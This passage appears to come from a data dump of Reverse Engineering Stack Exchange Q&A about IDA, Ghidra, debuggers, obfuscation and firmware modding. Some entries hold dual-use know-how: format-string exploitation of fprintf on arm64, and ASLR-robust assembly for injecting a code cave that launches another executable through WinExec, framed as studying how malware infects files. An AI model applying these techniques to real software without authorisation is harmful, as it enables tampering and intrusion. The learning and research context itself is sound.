&gt;(std::basic_ostream&lt;char, std::char_traits&lt;char&gt; &gt;&amp;, char const*)@plt&gt;\n</code></pre>\n"
    },
    {
        "Id": "24956",
        "CreationDate": "2020-05-09T12:04:03.223",
        "Body": "<p>I want to implement a VM based simple proof-of-concept obfuscator. It should take an exe file as input and produce a new pe file with appended vm section. For simplicity let's say the exe file is compiled as a 32 bit pe.</p>\n\n<p>The problem is that most materials I've found online explain only how to crack and not how to implement such a solution, or just explain how to implement a simple VM with a very limited number of instructions.</p>\n\n<p><strong>Architecture</strong></p>\n\n<p>I want to build such an architecture as described in <a href=\"https://www.sciencedirect.com/science/article/pii/S0167404818300270\" rel=\"nofollow noreferrer\">this</a> (Enhance virtual-machine-based code obfuscation security through dynamic bytecode scheduling) paper:</p>\n\n<p><a href=\"https://i.stack.imgur.com/bpEW5.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bpEW5.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Let me quote it:</p>\n\n<pre><code>Fig.\u20091. A classical process for VM-based code obfuscation.\nTo obfuscate the code, we first dissemble the code region to be\nprotected into native assembly code (1).\nThe assembly code will be mapped into our virtual instructions (2)\nwhich will then be encoded into a bytecode format (3). Finally,\nthe generated byecode will be inserted into a specific region of\nthe binary which is linked with a VM library (4).\n</code></pre>\n\n<p><strong>Question</strong></p>\n\n<p>Let's say I have implemented a very basic virtual machine with a set of 20 instructions as presented in this<a href=\"https://www.youtube.com/watch?v=OjaAToVkoTw\" rel=\"nofollow noreferrer\"> [presentation]</a>:</p>\n\n<pre><code>iadd, \nisub, \nimul, \nilt, \nieq, \nbr addr, \nbrt addr, \nbrf addr, \niconst value, \nload addr, \ngload addr, \nstore addr, \ngstore addr, \nprint, \npop, \ncall addr, numArgs\nret\nhlt\n</code></pre>\n\n<p>In step 2 (Virtualization), I have to somehow map the extracted Intel instruction set to my virtualized instructions. The Intel instruction set is huge (over 200 instructions).\nAnd I have completely no idea how to do this. Starting with the fact that my virtual machine uses fewer of registers then Intel does. </p>\n",
        "Title": "Virtual machine code obfuscation implementation details",
        "Tags": "|obfuscation|deobfuscation|virtual-machines|",
        "Answer": "<p>If you want proof-of-concept VM based obfuscator, you can actually skip the virtualization step and bytecode generation step. You can write an interpreter of x86 instructions in x86 assembler so that the implementation is easy. You can add custom instructions one by one later through assembler macros, for example. This is much less complicated process than writing a full-blown VM.</p>\n\n<p>The most trivial \"VM\" that runs some x86 instructions can be found here:</p>\n\n<p><a href=\"https://github.com/Barebit/trivial-vm\" rel=\"nofollow noreferrer\">https://github.com/Barebit/trivial-vm</a></p>\n\n<p>The vm1.c merely copies an x86 instruction to a buffer and runs it. It is not even an interpreter. The vm2 does the same but interprets few branch instructions that can't be run directly.</p>\n"
    },
    {
        "Id": "24967",
        "CreationDate": "2020-05-10T09:41:40.143",
        "Body": "<p>first of all I'm new to reverse engineering so here's a noob question hahaha, I'm trying to solve a crackme and I found this set of instructions:\n<a href=\"https://i.stack.imgur.com/ENhwN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ENhwN.png\" alt=\"enter image description here\"></a></p>\n\n<p>Why would it move the content of eax into cd:strLength and then do in the inverse way? It doesn't make much sense to me... I would appreciate any help. Thank you all for you time.</p>\n\n<p>Also, I can't find the value of offset _Z3strB5cxx11, is it because it's a relocation and its value won't be resolved until the dynamic linker resolves it during runtime or am I going crazy? Thanks for your time. </p>\n",
        "Title": "Problem with set of instructions in dissasembly",
        "Tags": "|ida|assembly|",
        "Answer": "<p>The compiler creates the code block by block, each line of the source code can correspond to one or several blocks. In the case of optimized code, sometimes several blocks of source code can turn into one.</p>\n\n<p>This basic block of code can be divided into the following logical blocks</p>\n\n<pre><code>; block #1\nmov edi, offset _Z3strB5cxx11\ncall basic_string::length() ; // sorry I'm too lazzy to type the correct function name\nmov cs:strLength, eax\n; block #2\nmov eax, cs:strLength\ncmp eax, 3\njbe loc_4011C6 ; // below-or-equal, unsigned operation, so cs:strLength is of type size_t\n</code></pre>\n\n<p>First block stores result of basic_string::length() in the global variable. The second block is produced from \"if\" statement. So the source code looks like that:</p>\n\n<pre><code>size_t strLength; // global variable\n...\nvoid someFunc() {\n  ...\n  strLength = str.length(); // block #1\n  if (strlength &lt;= 3) { // block #2\n    // statements at the address 0x4011C6\n  }\n  // statements after jbe\n  ...\n}\n</code></pre>\n\n<p>Optimization flags -O1, -O2, -O3 will remove the extra move operation.</p>\n\n<p>About your second question. First of all let's check the demangled name (I used <a href=\"https://demangler.com/\" rel=\"nofollow noreferrer\">https://demangler.com/</a>). It's equal to the 'str[abi:cxx11]'. The ABI is stands for the application binary interface. It is necessary to link 2 or more binary modules. I don\u2019t see the whole code, but by string object name I can guess you can't see it's value, cause it's external std::string. It's value should be analyzed in other module (other DLL or EXE file). So, it's not global variable only, but exported or imported value (in C++ with 'extern' keyword).</p>\n"
    },
    {
        "Id": "24984",
        "CreationDate": "2020-05-11T16:00:57.933",
        "Body": "<p>The way to decompile a function in Ghidra Python is:</p>\n\n<pre><code>    decomp = DecompInterface()\n    decomp.openProgram(currentProgram)\n\n    decompile = decomp.decompileFunction(func, 1000, monitor)\n</code></pre>\n\n<p>However, in some cases, probably due to an error or corner case situations, the decompilation takes much more than expected. </p>\n\n<p>Any ideas on how is it possible to cancel a decompilation task, using any kind of timeout, in Ghidra Python? I know that it's possible in the  GUI. <a href=\"https://i.stack.imgur.com/CRlxq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CRlxq.png\" alt=\"\"></a></p>\n",
        "Title": "Ghidra Python - cancel decompilation task",
        "Tags": "|decompilation|python|ghidra|",
        "Answer": "<p>You are already passing <code>1000</code> to a <code>decompileFunction</code> so according to the <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/app/decompiler/DecompInterface.html#decompileFunction(ghidra.program.model.listing.Function,int,ghidra.util.task.TaskMonitor)\" rel=\"nofollow noreferrer\">documentation</a> an exception should be thrown if it takes more time than that. Though, the timeout is in seconds and you set it to pretty high value - probably assuming it's in <code>ms</code>. Change to <code>1</code> and check if it will be cancelled with an exception if the time has passed.</p>\n\n<p>Alternatively, you use the <code>monitor</code> object that you are passing also to the <code>decompileFunction</code> method. It contains <code>cancel()</code> function that can cancel the action it has been passed to. You can read more about this object <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/util/task/TaskMonitor.html\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "24992",
        "CreationDate": "2020-05-12T16:41:17.013",
        "Body": "<p>So in xdbg in the memory map, i can see that some segments are mapped and some are private, at first i thought maybe mapped means it has a corresponding file on disk and its the mapped version of that, but there are so many mapped segments which don't have a corresponding file, some of which are reserved</p>\n\n<p>so i have two questions:</p>\n\n<ol>\n<li><p>What is the difference between mapped and private segments?</p></li>\n<li><p>What are these (reserved) sections? what does reserved mean?</p>\n\n<p><a href=\"https://i.stack.imgur.com/W8ae9.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/W8ae9.jpg\" alt=\"enter image description here\"></a></p></li>\n</ol>\n",
        "Title": "What is the difference between mapped and private memory segments in xdbg? and what is a reserved segment?",
        "Tags": "|windows|debugging|memory|",
        "Answer": "<ol>\n<li><p>Private flag is indicator that the particular range of memory isn't shared with any other process</p></li>\n<li><p>Reserved section means that the region of virtual memory is reserved, but not commited yet. This means that the virtual memory region isn't mapped to the physical memory but any other memory allocation calls won't occupy that space until it's released. You may also notice that the debugger doesn't show any protection on the reserved memory regions, this is because the memory needs to be commited in order to be used. To commit the memory you may call the <code>VirtualAlloc</code> again, this time with the MEM_COMMIT flag, now you can access the commited memory and then it will be allocated.</p></li>\n</ol>\n"
    },
    {
        "Id": "24994",
        "CreationDate": "2020-05-12T21:00:33.863",
        "Body": "<p>Are there anyways I can learn what packageInfo.signatures[0] is so I can use it to apply the same algorithm in Python.</p>\n\n<p>To further explain:</p>\n\n<pre><code>    private static SecretKeySpec a(Context context) {\n        try {\n            PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), 64);\n            if (!(packageInfo == null || packageInfo.signatures == null || packageInfo.signatures.length &lt;= 0)) {\n                return new SecretKeySpec(Arrays.copyOf(packageInfo.signatures[0].toByteArray(), 16), \"AES\");\n            }\n        } catch (NameNotFoundException e2) {\n            ThrowableExtension.a(e2);\n        }\n        return null;\n    }\n</code></pre>\n\n<p>This android app is sending some sort of a key that is changing based on timestamp with every request it is sending. And it is using the above code for creating a SecretKeySpec which then gets used in below.</p>\n\n<pre><code>    @NonNull\n    private synchronized String d(String str) {\n        byte[] digest;\n        try {\n            byte[] bytes = str.getBytes(\"UTF-8\");\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;     this.r.init(2, this.l);\n            byte[] doFinal = this.r.doFinal(this.k);\n            byte[] a2 = Bytes.a(doFinal, this.j, bytes, doFinal, this.n.a().getBytes(\"UTF-8\"));\n            digest = this.q.digest(a2);\n            Arrays.fill(a2, 0);\n            Arrays.fill(doFinal, 0);\n        } catch (Exception e2) {\n            throw new RuntimeException(e2);\n        }\n        return jl.a(digest);\n    }\n</code></pre>\n\n<p>So, I know that the function argument <code>str</code> is for some reason <code>currentTimeMillis * 1151</code> which gets used in <code>byte[] a2 = ...</code> line then gets hashed with sha1 there comes the time based changing part. What I can't find is what signatures[0] is in this context and how can I achieve it, in the construction of the class, <code>this.l</code> is assigned with SecretKeySpec ( signature[0] ). <code>this.r</code> is an AES Cipher. From the readings I made, I think the \"2\" in <code>init(2, this.l)</code> means decode mode.</p>\n\n<p>And Can you please explain to me what is the effect of filling <code>a2</code> and <code>doFinal</code> variables with <code>0(zeroes)</code> in this context as it doesn't get used anywhere else.</p>\n",
        "Title": "Android packageInfo signature",
        "Tags": "|android|encryption|apk|",
        "Answer": "<p>In this instance, <code>packageInfo.signatures</code> is the first signature that you find in the APK. Meaning, this is the first signature file that the Android system has read from the <code>META-INF/</code> folder inside the APK.</p>\n\n<p>Basically, what you'll need to do is unzip the APK, look inside the <code>META-INF/</code> and grab whatever file has the extension <code>.RSA</code> (unlikely, but it could be <code>.DSA</code>). This essentially what the <code>packageInfo.signatures[0]</code> is returning, with the <code>.toByteArray()</code> making a <code>ByteArray</code> object of the data.</p>\n\n<p>If you have any doubts, or are having issues further, I'd sugged using Frida to hook this function call and watch what is actually returned.</p>\n"
    },
    {
        "Id": "25000",
        "CreationDate": "2020-05-13T09:54:30.113",
        "Body": "<p>I'm trying to generate IDB files from the command-line using the <code>-o</code> flag of IDA, something like this:\n<code>ida.exe -B input.dll -oC:\\Results\\input.idb</code>. However, it seems that the value of the <code>-o</code> arguments are completely ignored.</p>\n\n<p>I've tried this with <code>ida.exe</code>, <code>ida64.exe</code>, <code>idat.exe</code>, and <code>idat64.exe</code>. I've tried adding <code>-c</code> and also tried removing <code>-B</code> flags. None of these work.</p>\n",
        "Title": "How to specify path of output database in IDA Pro?",
        "Tags": "|ida|command-line|",
        "Answer": "<p>Any switches after the input filename are ignored. Just move the filename to the end.</p>\n"
    },
    {
        "Id": "25008",
        "CreationDate": "2020-05-14T06:04:36.667",
        "Body": "<p>In ollydbg you can view the PE header of a module, by going into memory map and double clicking on the PE headers, but i couldn't find a way to do this in XDBG, is it possible? </p>\n",
        "Title": "Is it possible to view PE headers in xdbg just like ollydbg?",
        "Tags": "|debugging|ollydbg|",
        "Answer": "<p>You can use <a href=\"https://github.com/horsicq/pex64dbg\" rel=\"nofollow noreferrer\">pex64dbg</a> plugin, but that will only show you view of the main module. It looks like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/IEm6B.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IEm6B.png\" alt=\"PE Viewer\"></a></p>\n"
    },
    {
        "Id": "25013",
        "CreationDate": "2020-05-14T18:16:25.300",
        "Body": "<p>when I open the debug dump (IDA x64) , I don't have the memory ranges. Exactly like in this question: </p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/16049/esp-out-of-range-of-stack-view-in-ida\">ESP out of range of &quot;Stack View&quot; in IDA</a></p>\n\n<p>It used to be fine, but I don't have the menu edit-> \"manual memory regions\" as I am on IDA 7.4. (I guess) </p>\n\n<p>I tried to add a segment and it didn't work! </p>\n\n<p>windbg 10.0.18362.1 </p>\n",
        "Title": "bad memory mapping in case of MEMORY dump IDA <-> WinDbg",
        "Tags": "|ida|windbg|memory-dump|",
        "Answer": "<p>Use the following from idapython:</p>\n<pre><code>import ida_dbg\nida_dbg.edit_manual_regions()\n</code></pre>\n"
    },
    {
        "Id": "25015",
        "CreationDate": "2020-05-15T02:44:09.680",
        "Body": "<p>I've been trying to figure out how to modify the firmware on a DVR I bought for cheap recently. The built in software isn't great and doesn't offer any option for exporting video other than plugging a USB drive in and running an export through their UI. Ideally I'd like to modify it to export over FTP or NFS or something on a schedule.</p>\n\n<p>You can upgrade the firmware on the device by putting the manufacturer provided upgrade image on a USB drive, plug it in, power on the device, then let it do it's thing to upgrade the firmware.</p>\n\n<p>So I downloaded the firmware and ran binwalk on it. It was able to extract the roofs and I can see that it's running a flavor of embedded Linux. Here is the output that came with the files I extracted:</p>\n\n<pre><code>\nScan Time:     2020-05-15 02:16:35\nTarget File:   /vagrant/rootfs-3531dv100\nMD5 Checksum:  18a010179a1e5ae03c260ccc9609ddbc\nSignatures:    404\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             uImage header, header size: 64 bytes, header CRC: 0xCB1642A1, created: 2019-09-26 01:53:07, image size: 9761796 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x35F26A52, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: \"hirootfs\"\n64            0x40            JFFS2 filesystem, little endian\n</code></pre>\n\n<p>In the files on the rootfs I found the init scripts that get run. Funny enough there's a call in there to start telnetd that's commented out. There's also a password for the root user set in /etc/passwd.</p>\n\n<p>My question is this: if I modify the init script to uncomment that line so it runs telnetd at boot and generate a new password hash for the root user in /etc/password, how do I package it back up into a bootable image that I can drop onto a USB drive? Will that even work?</p>\n",
        "Title": "Unpacking, modifying, repacking and flashing a firmware",
        "Tags": "|linux|flash|binwalk|",
        "Answer": "<p>Assuming nothing is cryptographically signed, that should be possible. You simply need to follow your steps in reverse. If you used <code>binwalk</code>'s extract option, that made it too easy; you'll want to figure out how to unpack/pack the image manually (maybe the verbose option will provide more info on the steps taken). I realize this is a generic sounding answer, but without knowing the exact firmware structure it is difficult to speculate.</p>\n\n<p>You'll also need to watch out for any checksums/hashes that will need to be modified if you change anything.</p>\n\n<p>However, you could brick the device if you try to flash improper firmware. It may be a good idea to see if it supports any firmware recovery modes, or if there are hardware debug ports on the board to assist in recovery.</p>\n"
    },
    {
        "Id": "25019",
        "CreationDate": "2020-05-15T13:03:07.210",
        "Body": "<p>I am investigating a format string vulnerability on arm64 (linked against musl libc), and am encountering some odd behavior while debugging the output.</p>\n\n<p>From the decompilation, the program has a classic format string vulnerability that boils down to:</p>\n\n<pre><code>fprintf(stdout, user_controlled_data);\n</code></pre>\n\n<p>Using repetitive format specifiers (e.g. <code>%p%p%p%p</code>), I can dump massive swaths of memory by including thousands of these characters. That works as expected.</p>\n\n<p>The problem arises when I try direct parameter access. For some reason, <code>%1$p</code> works but not <code>%2$p</code>, but 3 up to about 12 works, and everything I've tried after that fails. By \"fails\", I mean no values are printed, except the newline automatically added to my string earlier in code is eaten somehow. In the debugger, <code>fprintf</code> returns -1, and <code>errno</code> is set to 0x16, which I believe is EINVAL.</p>\n\n<p>For this particular scenario, I need the ability to read/write a particular stack offset in the thousands. But I cannot print it to confirm since direct parameter access does not work. I <em>can</em> see the target parameter by using repeated characters, but I need direct parameters to work going forward due to other constraints.</p>\n\n<p>Now, I understand this is in \"undefined behavior\" territory, but I compiled a vulnerable test binary (statically linked against Glibc, I should probably try against musl) on the system that works as expected with no issues (e.g. <code>%9000$p</code> prints something).</p>\n\n<p>Is there something that would cause this behavior, or something I am missing? I can provide further information if needed.</p>\n",
        "Title": "Format String Direct Parameter Behavior",
        "Tags": "|exploit|arm64|",
        "Answer": "<p>After posting the question, I started to think about the difference in the libc I was using. I compiled the basic test binary again but with musl, and also saw the unexpected behavior there. This seems to be due to the <code>printf</code> implementation in <a href=\"https://github.com/bminor/musl/blob/master/src/stdio/vfprintf.c#L464\" rel=\"nofollow noreferrer\">musl</a>:</p>\n\n\n\n<pre><code>        if (isdigit(s[1]) &amp;&amp; s[2]=='$') {\n            l10n=1;\n            argpos = s[1]-'0';\n            s+=3;\n        }\n</code></pre>\n\n<p>It only uses direct parameters if there is exactly one digit following the <code>%</code>, followed by a <code>$</code>. This explains why I was unable to print any larger stack offsets.</p>\n\n<p><strong>Edit:</strong> This seems <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/functions/fprintf.html\" rel=\"nofollow noreferrer\">standard</a>-compliant:</p>\n\n<blockquote>\n  <p>\"%n$\", where n is a decimal integer in the range [1,{NL_ARGMAX}], giving the\n  position of the argument in the argument list.</p>\n</blockquote>\n\n<p>Then, looking at <a href=\"https://pubs.opengroup.org/onlinepubs/7908799/xsh/limits.h.html\" rel=\"nofollow noreferrer\">the definition</a> of NL_ARGMAX:</p>\n\n<blockquote>\n  <p>NL_ARGMAX </p>\n  \n  <p>Maximum value of digit in calls to the printf() and scanf()\n  functions. Minimum Acceptable Value: 9</p>\n</blockquote>\n\n<p>So it appears that the implementation is indeed following the standard by allowing the minimum value of 9, which is certainly inconvenient for writing compact format string exploits.</p>\n"
    },
    {
        "Id": "25023",
        "CreationDate": "2020-05-15T15:29:43.650",
        "Body": "<p>So in a malware sample (Shelter) IDA doesn't include some parts of the function in the function itself, and puts the endp in an earlier part, so for example the function really ends at 0x401080 but it thinks it ends at 0x401050 for some reason even tho the last instruction isn't ret and its just a SUB instruction, and the next instruction is a valid and instruction and I'm not sure why its not detecting it</p>\n",
        "Title": "How to manually change the end of function and extend it in IDA pro?",
        "Tags": "|ida|",
        "Answer": "<p>Select an address, then type \"E\".</p>\n\n<p>This will set the address as the end of the function that exists before it.</p>\n"
    },
    {
        "Id": "25030",
        "CreationDate": "2020-05-16T06:44:59.727",
        "Body": "<p>How to decompile the following assembly instructions ?</p>\n\n<p>Note: this could be reproduced using <em>/usr/bin/ls</em> <a href=\"https://gist.githubusercontent.com/promach/fa989fbd4ff74dcbed37aff0d39d1a9f/raw/3ca6889632b2f322fefa6060b6725b4832a98c73/ls\" rel=\"nofollow noreferrer\">binary</a> inside ghidra</p>\n\n<p><a href=\"https://i.stack.imgur.com/Q3UT6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Q3UT6.png\" alt=\"ghidra decompilation of ls\"></a></p>\n",
        "Title": "How to decompile /usr/bin/ls",
        "Tags": "|disassembly|decompilation|ghidra|decompile|decompiler|",
        "Answer": "<p>Kevin,</p>\n\n<p><code>ls</code> comes in coreutils. The best way to experiment with these programs is to download and manually build the binaries (in this way you can give your favorite options like -g, -O3 during compilation).</p>\n\n<p>Anyways, coming back to your question, assuming you want to decompile /usr/bin/ls (that's what I get from your comments on Pawel's answer), then open ghidra gui, analyse the binary, click on file -> export program -> and export as a C/C++ file.</p>\n"
    },
    {
        "Id": "25035",
        "CreationDate": "2020-05-16T13:57:36.853",
        "Body": "<p>I'm totally new to reverse engineering, when I start debugging my c program with radare2, and start showing assembly, I found that addresses are only <code>8 hexa</code> digits, which means <code>16^8</code> =  <code>4294967296</code> bytes, which is <code>4G RAM</code>.\nBut I have <code>16G RAM</code>, which is <code>17179869184</code> bytes, which needs <code>9 digits</code> not 8</p>\n\n<p>This is part of the assembly as radare2 views:</p>\n\n<pre><code>0x004011d0      750e           jne 0x4011e0\n0x004011d2      488d3d410e00.  lea rdi, str.Acess_granted  ; 0x40201a ; \"Acess granted!\" ; const char *s\n</code></pre>\n\n<p>I think I misunderstand something here, can someone clarify?\nThanks in advance.</p>\n",
        "Title": "Why there are only 8 hexa memory digits while my RAM is 16G",
        "Tags": "|disassembly|assembly|radare2|memory|disassemblers|",
        "Answer": "<p>Your physical RAM size doesn't say too much about what your memory addresses will look like. What matters is your system <em>architecture</em> and <em>how many bits</em> there are (usually 64 or 32). Virtual memory also makes RAM insignificant; each process has <a href=\"https://en.wikipedia.org/wiki/Virtual_address_space\" rel=\"nofollow noreferrer\">virtual memory space</a> covering possibly the entire address space but mapped to a limited section of physical memory. Even on a 64-bit system where there are theoretically 2^64 bytes (an unrealistic 16 exibytes) of mappable addresses, you can still have a system with under 1GB of RAM and still have access to the virtual address space (which is much less than 2^64 in reality but still possibly larger than your physical RAM).</p>\n\n<p>What you are seeing in radare (0x004011d0) are addresses within the executable itself, and are still 64-bit but leading zeros are often omitted in various tools for convenience (actual address is 0x00000000004011d0). While they are mapped into the process's virtual memory table, those addresses are actually burned into the executable at compile time (unless it is compiled with PIE). Those addresses are usually around that general area and are typically the lowest section of virtual memory.</p>\n\n<p>If you want to see your 64-bit address space at work, look at pointers in registers and on the stack (or the stack addresses themselves), which will be much larger.</p>\n"
    },
    {
        "Id": "25039",
        "CreationDate": "2020-05-16T21:02:29.717",
        "Body": "<p>I'm looking into a way to generate pseudo-code from snippet of assembly,</p>\n\n<p>let's assume I have this ASM</p>\n\n<pre><code>    push    rbp\n    mov     rbp, rsp\n    mov     DWORD PTR [rbp-4], edi\n    mov     DWORD PTR [rbp-8], esi\n    mov     edx, DWORD PTR [rbp-4]\n    mov     eax, DWORD PTR [rbp-8]\n    add     eax, edx\n    pop     rbp\n    ret\n</code></pre>\n\n<p>is there is a way to turn it into pseudo-code using the available decompilers?</p>\n\n<p>if there is any exported API?</p>\n",
        "Title": "asm snippet to pseudo-code",
        "Tags": "|ida|decompilation|radare2|ghidra|hexrays|",
        "Answer": "<p>You can actually compile this with NASM depends on your preferred architecture, example command is below (I used  linux):</p>\n\n<pre><code>nasm -f elf64 -o ./sample.asm ./sample.o \nld -o ./sample ./sample.o \n\n\nglobal _start\n\nsection .text\n\n_start:\n\n    push    rbp\n    mov     rbp, rsp\n    mov     DWORD [rbp-4], edi\n    mov     DWORD [rbp-8], esi\n    mov     edx, DWORD [rbp-4]\n    mov     eax, DWORD [rbp-8]\n    add     eax, edx\n    pop     rbp\n    ret\n</code></pre>\n\n<p>After compiling and linking, I used IDA with pseudo-code support as what @macro_controller mentioned above.</p>\n\n<p><a href=\"https://i.stack.imgur.com/BSPFr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BSPFr.png\" alt=\"enter image description here\"></a></p>\n\n<p>Here is the result.</p>\n\n<p><a href=\"https://i.stack.imgur.com/vk1qz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vk1qz.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "25054",
        "CreationDate": "2020-05-18T06:46:05.910",
        "Body": "<p>I'm kind of new to this sort of thing so I hope someone can help me. I'm currently trying to understand how most malwares infect other files/modify an exe. Using Visual Studio 2017 I made an exe (with c++) that only does 2 things: print \"Injection didn't work!\" and after that runs \"pause>NUL\". I compiled it in x86 Release mode. Then I made a second exe which only prints \"Injection worked\". My main goal was to inject code into the first/target exe so that it runs the second exe first and then itself. So the final output after the injection should look something like this: \"Injection worked. Injection didn't work!\".\nMy idea was to use OllyDBG. I opened the target exe and I added the following code into the code cave at the end of the code: </p>\n\n<pre><code>ASCII \"inject.exe\"\nPUSH 1\nPUSH 008B1F7C               (Address of ASCII \"inject.exe\")\nCall WinExec\nCall __security_init_cookie (This is the assembly code at the entrypoint which I overwrote with a JMP instruction to this codecave)\nJMP 008B1572 (JMP back to next instruction after entrypoint)\n</code></pre>\n\n<p>And the entrypoint looks like this:</p>\n\n<pre><code>JMP 008B1F87 (JMP to codecave)\n</code></pre>\n\n<p>This code should execute inject.exe which is the second exe I made (and this exe is located in the same folder as the target exe). When I run this in OllyDBG it works and it gives me the desired output but as soon as I save it to an exe (Copy to exectuable -> All modifications -> Copy All -> Save as InjectionTestPatched.exe) it won't run anymore and crashes before printing anything. I also checked the %errorlevel% after execution which was -1073741819 and not 0. I don't really understand why the code worked in OllyDBG but not when I save it as an exe.</p>\n\n<p>Does someone know what is going on here?\n(Please excuse my bad English as I'm not a native english speaker)</p>\n\n<p>EDIT: I think I figured out WHY it is behaving like this but I don't know how to fix it. When I debug the Patched EXE every address seems to be correct but the address to the ASCII isn't. all JMP/CALL addresses adjust accordingly to the offset but the address to the ASCII remains static (the PUSH 008B1F7C doesnt change). Could ASLR be the source of my problems? And if yes, how can I bypass this...</p>\n\n<p><a href=\"https://i.stack.imgur.com/tduYV.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tduYV.jpg\" alt=\"OllyDBG\"></a></p>\n\n<p>Here the address in red should point to the ASCII but it is the same as it was before (the addresses changed after the exe was made). What I don't understand is that the JMP address changed to the right address but the PUSH not. Why does that happen, how can I fix this? (EDIT2: Problem solved)</p>\n\n<p>EDIT2: So I figured out a way to push the ASCII address on the stack correctly everytime by loading the EIP into EAX and sub it. This seems to work beacause the ASCII address is always on the stack when I reload the code. But now I have the next problem which is that WinExec doesnt seem to work anymore after reloading. OllyDBG doesn't even recoginze this instruction anymore as it shows it as 4 individual DB lines and not as CALL WinExec. How could I solve this?</p>\n\n<p>EDIT3: PROBLEM SOLVED! the Call for WinExec seemed to have been changed due to ASLR even tho the address is always the same. I solved it by loading the static address to EAX and then with a CALL EAX i can call a static address which is not affected by ASLR. My Injection worked now.</p>\n",
        "Title": "OllyDBG saved executable crashes",
        "Tags": "|ollydbg|patching|",
        "Answer": "<p>So I finally solved my problem. Here a quick explanation on how I did it:</p>\n\n<p>The original problem was that I used \"fixed\" addresses for the <code>PUSH</code> meaning that it <em>pushes</em> always the same address (which should be the address of the ASCII). But ASLR randomizes the base address upon creating the EXE which means that the address becomes invalid as it points now to a totally different place than before. The workaround was to determine the address more \"relatively\" rather than absolute.</p>\n\n<p>The main idea was to somehow get the current address (<code>EIP</code>) and subtract a specific number from it so that now it points to the ASCII. This is possible by creating a function which is called. Every time a <code>CALL</code> is executed the address of the next instruction will be pushed on the stack.  In this function the address is saved in <code>EAX</code> with <code>POP</code> and later pushed back so that the <code>RET</code> still knows where to return.</p>\n\n<p>I added a <code>CALL</code> after the string to retrieve the address and subtracted <code>10h</code> from it. Now I had the address of the ASCII in <code>EAX</code> then follows the same code as before where <code>WinExec</code> is called only with the difference that now <code>EAX</code> is pushed onto the stack rather than the \"absolute\" address. Before calling <code>WinExec</code> I saved the address of <code>WinExec</code> in <code>EAX</code> (because the address for WinExec stays the same even with ASLR and the problem with ASLR is that the Address is going to modified and thus it won't corresponding to <code>WinExec</code> anymore). Then I  just made a <code>CALL EAX</code> to run <code>WinExec</code> and the rest is the same.</p>\n\n<p>Here is the full code:</p>\n\n<pre><code>Entrypoint: JMP &lt;address of the first CALL in injected code&gt;\n\nPOP EAX                               (Puts address of next instruction into EAX)\nPUSH EAX                              (Copies address back to the stack so that RET knows where to go)\nRET\n\nASCII \"inject.exe\"\nCALL &lt;address of the routine above&gt;   (puts address of next instruction into EAX)\nSUB EAX,0x10                          (SUB EAX,&lt;this number depends on the size of the executable name. Just subtract the address of this instruction with the address of the ASCII&gt;)\nPUSH 1\nPUSH EAX\nPUSH WinExec                          (Puts address of WinExec onto stack so that the address won't change because of ASLR)\nPOP EAX\nCALL EAX                              (execute WinExec)\nCALL __security_init_cookie           (replace this instruction with the instruction that will be overwritten by the JMP instruction to this code cave. In my case it's this call)\nJMP &lt;address of second Instruction at Entrypoint&gt;\n</code></pre>\n"
    },
    {
        "Id": "25070",
        "CreationDate": "2020-05-20T02:35:50.300",
        "Body": "<p>I am working on adding a processor to Ghidra (I have no idea what I'm doing, just working my way through based off the documentation).</p>\n\n<p>I've seen SleighDevTools mentioned in the 9.1 release as being \"support of processor module development\", which sounds like it would be helpful to me. However, I can't find any documentation on what it does or how to use it. All, I've found is the source code for it in the Ghidra repo (no readme), and a single mention of it on reddit.</p>\n\n<p>Is there documentation on SleighDevTools? \nIf so, where is it? \nIf not, are there any good resources for processor development besides the official Ghidra docs?</p>\n\n<p>Thank you!</p>\n",
        "Title": "Is there documentation on the Ghidra 9.1 SleighDevTools?",
        "Tags": "|ghidra|",
        "Answer": "<p>In the SleighDevTools folder, there is a <code>pcodetest</code> folder, with a README.txt (which is unfortunately very brief).</p>\n<p>The documentation on SLEIGH can be found in <code>&lt;ghidra install dir&gt;/docs/languages/index.html</code>, which explains what goes in the .slaspec file for your new processor.</p>\n<p>Some documentation on what goes in the other files like .cspec, .ldefs, .., can be found in <code>&lt;ghidra install dir&gt;/Ghidra/Framework/SoftwareModeling/data/languages</code>.</p>\n<p>There is also an Eclipse plugin, GhidraSleighEditor, that is currently (Ghidra 9.1.2) separate from the GhidraDev eclipse plugin and must be manually installed. It can be found at <code>&lt;ghidra install dir&gt;/Extensions/Eclipse/GhidraSleighEditor/</code>, and has some documentation in the <code>GhidraSleighEditor_README.html</code> in that folder.</p>\n<p>As for your question on good documentation besides the Ghidra docs:</p>\n<ol>\n<li><p><a href=\"https://www.cs.tufts.edu/%7Enr/pubs/specifying.pdf\" rel=\"nofollow noreferrer\">Here</a> is the original paper on SLED, which later in modified form became SLEIGH.</p>\n</li>\n<li><p>These <a href=\"https://guedou.github.io/talks/2019_BeeRump/slides.pdf\" rel=\"nofollow noreferrer\">slides</a> go through an example of adding a processor to Ghidra</p>\n</li>\n<li><p>There's also this <a href=\"https://www.reddit.com/r/ghidra/comments/bhhrt0/quick_guide_to_creating_a_processor_in_ghidra/\" rel=\"nofollow noreferrer\">high level guide</a> to adding a 